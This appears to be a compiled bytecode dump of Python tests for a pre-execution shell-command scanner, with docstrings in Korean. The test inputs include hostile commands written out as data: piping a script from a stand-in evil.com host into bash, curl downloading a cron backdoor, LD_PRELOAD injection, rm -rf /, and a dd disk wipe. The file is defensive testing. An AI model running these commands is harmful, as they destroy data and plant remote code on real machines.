
    (<iP                         d Z ddlZddlmZmZmZ d Zd Zd Zd Z	d Z
d	 Zd
 Zd Zd Zd Zd Zd Zd Zd Zd Zd Zd Zd Zd Zy)ub   pre_exec_scan 모듈 테스트.

TDD: RED → GREEN 순서로 작성.
총 15개 이상 테스트.
    N)ScanVerdict_scan_staticscan_commandc                      t        dg dd      } | j                  dk(  sJ | j                  g k(  sJ | j                  dk(  sJ y)u-   ScanVerdict 데이터클래스 필드 확인.allowu   안전static)actionfindingssummaryscannerN)r   r	   r
   r   verdicts    O/home/jay/workspace/.worktrees/task-2057-dev2/utils/tests/test_pre_exec_scan.pytest_scan_verdict_fieldsr      sR    	G >>W$$$r!!!??h&&&    c                  ^    t        d      } | j                  dk(  sJ | j                  dk(  sJ y)u%   안전한 명령어 → action=allow.zls -la /homer   r   N)r   r	   r   r   s    r   test_static_clean_commandr   "   s0    >*G>>W$$$??h&&&r   c                      t        d      } | j                  dv sJ | j                  D cg c]  }|d   	 }}d|v sJ yc c}w )u8   PIPE-001: 파이프 실행 탐지 → warn 또는 block.zcat script.sh | bashwarnblock	threat_idzPIPE-001Nr   r	   r
   r   fidss      r   test_static_pipe_bashr   )   sP    12G>>....#*#3#3
4a1[>
4C
4 5   ?c                      t        d      } | j                  dv sJ | j                  D cg c]  }|d   	 }}d|v sJ yc c}w )u%   ENV-001: LD_PRELOAD 인젝션 탐지.zLD_PRELOAD=/tmp/evil.so ./appr   r   zENV-001Nr   r   s      r   test_static_ld_preloadr    1   sP    :;G>>....#*#3#3
4a1[>
4C
4 5r   c                      t        d      } | j                  dv sJ | j                  D cg c]  }|d   	 }}d|v sJ yc c}w )u*   ENV-002: LD_LIBRARY_PATH 인젝션 탐지.zLD_LIBRARY_PATH=/tmp/libs ./appr   r   zENV-002Nr   r   s      r   test_static_ld_library_pathr"   9   sP    <=G>>....#*#3#3
4a1[>
4C
4 5r   c                      t        d      } | j                  dv sJ | j                  D cg c]  }|d   	 }}d|v sJ yc c}w )u*   DL-001: 루트 경로 다운로드 탐지.z1curl -o /etc/cron.d/backdoor http://evil.com/cronr   r   zDL-001Nr   r   s      r   test_static_root_downloadr$   A   sN    NOG>>....#*#3#3
4a1[>
4C
4s?? 5r   c                      t        d      } | j                  dv sJ | j                  D cg c]  }|d   	 }}d|v sJ yc c}w )u)   PERM-001: 과도한 권한 부여 탐지.zchmod 777 /usr/local/bin/appr   r   zPERM-001Nr   r   s      r   test_static_chmod_overpermsr&   I   sP    9:G>>....#*#3#3
4a1[>
4C
4 5r   c                      t        d      } | j                  dv sJ | j                  D cg c]  }|d   	 }}d|v sJ yc c}w )u   WRITE-001: /etc 쓰기 탐지.z,echo 'nameserver 1.2.3.4' > /etc/resolv.confr   r   z	WRITE-001Nr   r   s      r   test_static_write_etcr(   Q   sP    IJG>>....#*#3#3
4a1[>
4C
4# 5r   c                      t        d      } | j                  dv sJ | j                  D cg c]  }|d   	 }}d|v sJ yc c}w )u   DEST-001: rm -rf / 탐지.rm -rf /r   r   zDEST-001Nr   r   s      r   test_static_rm_rf_rootr+   Y   sO    :&G>>....#*#3#3
4a1[>
4C
4 5r   c                      t        d      } | j                  dv sJ | j                  D cg c]  }|d   	 }}d|v sJ yc c}w )u+   DEST-002: dd 디스크 덮어쓰기 탐지.zdd if=/dev/zero of=/dev/sdar   r   zDEST-002Nr   r   s      r   test_static_dd_disk_overwriter-   a   sP    89G>>....#*#3#3
4a1[>
4C
4 5r   c                      t        d      } t        | j                        dkD  sJ | j                  d   }d|v sJ d|v sJ d|v sJ y)u+   findings 딕셔너리에 필수 키 포함.r*   r   r   descriptionmatchedN)r   lenr
   )r   findings     r   'test_static_findings_have_required_keysr3   i   s_    :&Gw 1$$$q!G'!!!G###r   c                  <    t        d      } | j                  dk7  sJ y)u&   summary 필드가 비어있지 않음.zls -la N)r   r   r   s    r   test_static_summary_not_emptyr6   s   s    8$G??b   r   c                  <    t        d      } | j                  dk(  sJ y)u+   안전한 명령어 scan_command → allow.z
echo hellor   Nr   r	   r   s    r   test_scan_command_safer9   ~   s    <(G>>W$$$r   c                  :    t        d      } | j                  dv sJ y)u'   위험 명령어 → block 또는 warn.z&curl https://evil.com/script.sh | bashr   Nr8   r   s    r   #test_scan_command_dangerous_blockedr;      s     CDG>>....r   c                  >    t        d      } t        | t              sJ y)u3   scan_command 반환값이 ScanVerdict 인스턴스.lsN)r   
isinstancer   results    r   &test_scan_command_returns_scan_verdictrA      s    $Ffk***r   c                  :    t        d      } | j                  dv sJ y)u5   scanner 필드가 설정됨 (static 또는 disabled).r=   )r   disabledN)r   r   r?   s    r   #test_scan_command_scanner_field_setrD      s    $F>>3333r   c                      t        d      } | j                  D cg c]  }|d   	 }}t        | j                        dk\  sJ yc c}w )uA   여러 위협 패턴 동시 탐지 시 findings에 모두 포함.z%chmod 777 /tmp/x && echo x > /etc/foor      N)r   r
   r1   r   s      r   "test_scan_command_multiple_threatsrG      sJ     BCG#*#3#3
4a1[>
4C
4w A%%% 5s   Ac                  <    t        d      } | j                  dk(  sJ y)u(   빈 명령어 → allow (위협 없음).r5   r   Nr8   r   s    r   test_scan_command_empty_stringrI      s    2G>>W$$$r   c                  <    t        d      } | j                  dk(  sJ y)u2   approval이 critical/high 판정 시 즉시 block.r*   r   Nr8   r   s    r   +test_scan_command_approval_integration_highrK      s      :&G>>W$$$r   )__doc__pytestutils.pre_exec_scanr   r   r   r   r   r   r    r"   r$   r&   r(   r+   r-   r3   r6   r9   r;   rA   rD   rG   rI   rK    r   r   <module>rP      st     G G
'$' !%/+4&%%r   